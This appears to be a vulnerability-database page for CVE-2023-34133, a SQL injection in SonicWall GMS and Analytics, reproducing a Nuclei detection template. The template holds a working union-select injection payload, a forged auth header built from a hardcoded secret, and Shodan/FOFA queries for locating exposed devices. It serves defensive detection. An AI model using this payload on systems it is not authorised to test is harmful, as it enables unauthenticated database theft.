Browse / CVEs / CVE-2023-34133
CVE-2023-34133· sonicwall / analytics· CWE-89
SonicWall GMS and Analytics - SQL Injection
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in SonicWall GMS and Analytics allows an unauthenticated attacker to extract sensitive information from the application database. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
Fix
Apply the latest security patches or updates provided by SonicWall to mitigate this vulnerability.
How to confirm it
Send: GET /ws/msw/tenant/{{url_encode(query)}}
Positive when: contains "{{md5(num)}}"Run it with nuclei: nuclei -id CVE-2023-34133 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-34133
info:
name: SonicWall GMS and Analytics - SQL Injection
author: theamanrawat
severity: high
description: |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in SonicWall GMS and Analytics allows an unauthenticated attacker to extract sensitive information from the application database. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
remediation: |
Apply the latest security patches or updates provided by SonicWall to mitigate this vulnerability.
reference:
- https://raw.githubusercontent.com/rapid7/metasploit-framework/4b130f5be7590d04878f3bda37555e59e733324d/modules/exploits/multi/http/sonicwall_shell_injection_cve_2023_34124.rb
- https://www.sonicwall.com/support/product-notification/urgent-security-notice-sonicwall-gms-analytics-impacted-by-suite-of-vulnerabilities/230710150218060/
- https://github.com/getdrive/PoC/blob/main/2023/Sonicwall_Shell_Injection/sonicwall_shell_injection_cve_2023_34124.rb
- https://nvd.nist.gov/vuln/detail/CVE-2023-34133
- http://packetstormsecurity.com/files/174571/Sonicwall-GMS-9.9.9320-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-34133
cwe-id: CWE-89
epss-score: 0.72767
epss-percentile: 0.99453
cpe: cpe:2.3:a:sonicwall:analytics:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: sonicwall
product: analytics
shodan-query: http.favicon.hash:"-1381126564"
fofa-query: icon_hash="-1381126564"
tags: cve2023,cve,sonicwall,sqli,injection,vkev,vuln
variables:
num: "999999999"
query: "' union select (select ID from SGMSDB.DOMAINS), '', '', '', '', '', (select MD5({{num}})),'', '', '"
secret: '?~!@#$%^^()'
auth: "{{hmac('sha1', query, secret)}}"
http:
- raw:
- |
GET /ws/msw/tenant/{{url_encode(query)}} HTTP/1.1
Host: {{Hostname}}
Auth: {"user": "system", "hash": "{{base64(hex_decode(auth))}}"}
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'References
- https://raw.githubusercontent.com/rapid7/metasploit-framework/4b130f5be7590d04878f3bda37555e59e733324d/modules/exploits/multi/http/sonicwall_shell_injection_cve_2023_34124.rb
- https://www.sonicwall.com/support/product-notification/urgent-security-notice-sonicwall-gms-analytics-impacted-by-suite-of-vulnerabilities/230710150218060/
- https://github.com/getdrive/PoC/blob/main/2023/Sonicwall_Shell_Injection/sonicwall_shell_injection_cve_2023_34124.rb
- https://nvd.nist.gov/vuln/detail/CVE-2023-34133
- http://packetstormsecurity.com/files/174571/Sonicwall-GMS-9.9.9320-Remote-Code-Execution.html
Use this check only on systems you are authorised to test. Where the data comes from